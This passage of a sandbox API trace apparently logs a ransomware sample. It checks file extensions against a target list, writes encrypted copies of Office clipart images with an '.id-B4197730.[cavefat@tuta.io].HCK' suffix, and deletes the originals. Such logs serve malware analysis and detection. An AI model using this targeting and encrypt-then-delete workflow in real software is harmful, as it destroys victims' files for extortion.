[0172.512] lstrlenW (lpString=".jpg") returned 4 [0172.512] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.512] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.512] lstrlenW (lpString="J0341499.JPG") returned 12 [0172.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.517] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16099) returned 1 [0172.517] CloseHandle (hObject=0x384) returned 1 [0172.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg")) returned 0x220 [0172.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.523] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.523] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.530] GetLastError () returned 0x0 [0172.530] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3ee3, lpOverlapped=0x0) returned 1 [0172.533] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0172.534] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.534] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.534] SetEndOfFile (hFile=0x368) returned 1 [0172.536] CloseHandle (hObject=0x368) returned 1 [0172.538] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.538] SetEndOfFile (hFile=0x3b0) returned 1 [0172.543] CloseHandle (hObject=0x3b0) returned 1 [0172.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg")) returned 1 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString=".doc") returned 4 [0172.548] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.548] lstrlenW (lpString=".docx") returned 5 [0172.548] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.548] lstrlenW (lpString=".pdf") returned 4 [0172.548] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.548] lstrlenW (lpString=".xls") returned 4 [0172.548] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.548] lstrlenW (lpString=".xlsx") returned 5 [0172.548] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.548] lstrlenW (lpString=".ppt") returned 4 [0172.548] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString=".zip") returned 4 [0172.548] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.548] lstrlenW (lpString=".rar") returned 4 [0172.548] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.548] lstrlenW (lpString=".bz2") returned 4 [0172.548] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.548] lstrlenW (lpString=".7z") returned 3 [0172.548] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString=".dbf") returned 4 [0172.548] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString=".1cd") returned 4 [0172.548] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString=".jpg") returned 4 [0172.548] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.548] lstrlenW (lpString=".doc") returned 4 [0172.548] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.548] lstrlenW (lpString=".docx") returned 5 [0172.548] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.548] lstrlenW (lpString=".pdf") returned 4 [0172.548] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.548] lstrlenW (lpString=".xls") returned 4 [0172.548] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.548] lstrlenW (lpString=".xlsx") returned 5 [0172.548] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.548] lstrlenW (lpString=".ppt") returned 4 [0172.549] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.549] lstrlenW (lpString=".zip") returned 4 [0172.549] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.549] lstrlenW (lpString=".rar") returned 4 [0172.549] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.549] lstrlenW (lpString=".bz2") returned 4 [0172.549] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.549] lstrlenW (lpString=".7z") returned 3 [0172.549] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.549] lstrlenW (lpString=".dbf") returned 4 [0172.549] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.549] lstrlenW (lpString=".1cd") returned 4 [0172.549] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG") returned 68 [0172.549] lstrlenW (lpString=".jpg") returned 4 [0172.549] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.549] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.549] lstrlenW (lpString="J0341557.JPG") returned 12 [0172.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.553] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27304) returned 1 [0172.553] CloseHandle (hObject=0x39c) returned 1 [0172.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg")) returned 0x220 [0172.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.557] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.557] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.560] GetLastError () returned 0x0 [0172.560] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6aa8, lpOverlapped=0x0) returned 1 [0172.563] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6ab0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6ab0, lpOverlapped=0x0) returned 1 [0172.564] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.564] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.564] SetEndOfFile (hFile=0x308) returned 1 [0172.567] CloseHandle (hObject=0x308) returned 1 [0172.568] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.568] SetEndOfFile (hFile=0x2fc) returned 1 [0172.572] CloseHandle (hObject=0x2fc) returned 1 [0172.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg")) returned 1 [0172.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.576] lstrlenW (lpString=".doc") returned 4 [0172.576] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.576] lstrlenW (lpString=".docx") returned 5 [0172.576] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.576] lstrlenW (lpString=".pdf") returned 4 [0172.576] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.576] lstrlenW (lpString=".xls") returned 4 [0172.576] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.576] lstrlenW (lpString=".xlsx") returned 5 [0172.576] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.576] lstrlenW (lpString=".ppt") returned 4 [0172.576] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.576] lstrlenW (lpString=".zip") returned 4 [0172.576] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.576] lstrlenW (lpString=".rar") returned 4 [0172.576] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.576] lstrlenW (lpString=".bz2") returned 4 [0172.576] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.577] lstrlenW (lpString=".7z") returned 3 [0172.577] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".dbf") returned 4 [0172.577] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".1cd") returned 4 [0172.577] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".jpg") returned 4 [0172.577] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".doc") returned 4 [0172.577] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.577] lstrlenW (lpString=".docx") returned 5 [0172.577] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.577] lstrlenW (lpString=".pdf") returned 4 [0172.577] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.577] lstrlenW (lpString=".xls") returned 4 [0172.577] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.577] lstrlenW (lpString=".xlsx") returned 5 [0172.577] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.577] lstrlenW (lpString=".ppt") returned 4 [0172.577] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".zip") returned 4 [0172.577] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.577] lstrlenW (lpString=".rar") returned 4 [0172.577] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.577] lstrlenW (lpString=".bz2") returned 4 [0172.577] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.577] lstrlenW (lpString=".7z") returned 3 [0172.577] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".dbf") returned 4 [0172.577] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".1cd") returned 4 [0172.577] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG") returned 68 [0172.577] lstrlenW (lpString=".jpg") returned 4 [0172.577] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.577] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.577] lstrlenW (lpString="J0341634.JPG") returned 12 [0172.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.584] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7803) returned 1 [0172.584] CloseHandle (hObject=0x300) returned 1 [0172.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg")) returned 0x220 [0172.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.595] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.595] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.599] GetLastError () returned 0x0 [0172.599] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1e7b, lpOverlapped=0x0) returned 1 [0172.601] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1e80, lpOverlapped=0x0) returned 1 [0172.601] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.602] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.602] SetEndOfFile (hFile=0x38c) returned 1 [0172.603] CloseHandle (hObject=0x38c) returned 1 [0172.605] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.605] SetEndOfFile (hFile=0x39c) returned 1 [0172.609] CloseHandle (hObject=0x39c) returned 1 [0172.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg")) returned 1 [0172.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.615] lstrlenW (lpString=".doc") returned 4 [0172.615] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.615] lstrlenW (lpString=".docx") returned 5 [0172.615] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.615] lstrlenW (lpString=".pdf") returned 4 [0172.615] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.615] lstrlenW (lpString=".xls") returned 4 [0172.616] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString=".xlsx") returned 5 [0172.616] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.616] lstrlenW (lpString=".ppt") returned 4 [0172.616] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".zip") returned 4 [0172.616] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString=".rar") returned 4 [0172.616] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString=".bz2") returned 4 [0172.616] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.616] lstrlenW (lpString=".7z") returned 3 [0172.616] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".dbf") returned 4 [0172.616] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".1cd") returned 4 [0172.616] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".jpg") returned 4 [0172.616] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".doc") returned 4 [0172.616] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.616] lstrlenW (lpString=".docx") returned 5 [0172.616] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.616] lstrlenW (lpString=".pdf") returned 4 [0172.616] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString=".xls") returned 4 [0172.616] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString=".xlsx") returned 5 [0172.616] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.616] lstrlenW (lpString=".ppt") returned 4 [0172.616] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".zip") returned 4 [0172.616] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString=".rar") returned 4 [0172.616] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.616] lstrlenW (lpString=".bz2") returned 4 [0172.616] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.616] lstrlenW (lpString=".7z") returned 3 [0172.616] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".dbf") returned 4 [0172.616] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.616] lstrlenW (lpString=".1cd") returned 4 [0172.616] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG") returned 68 [0172.617] lstrlenW (lpString=".jpg") returned 4 [0172.617] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.617] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.617] lstrlenW (lpString="J0341654.JPG") returned 12 [0172.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft 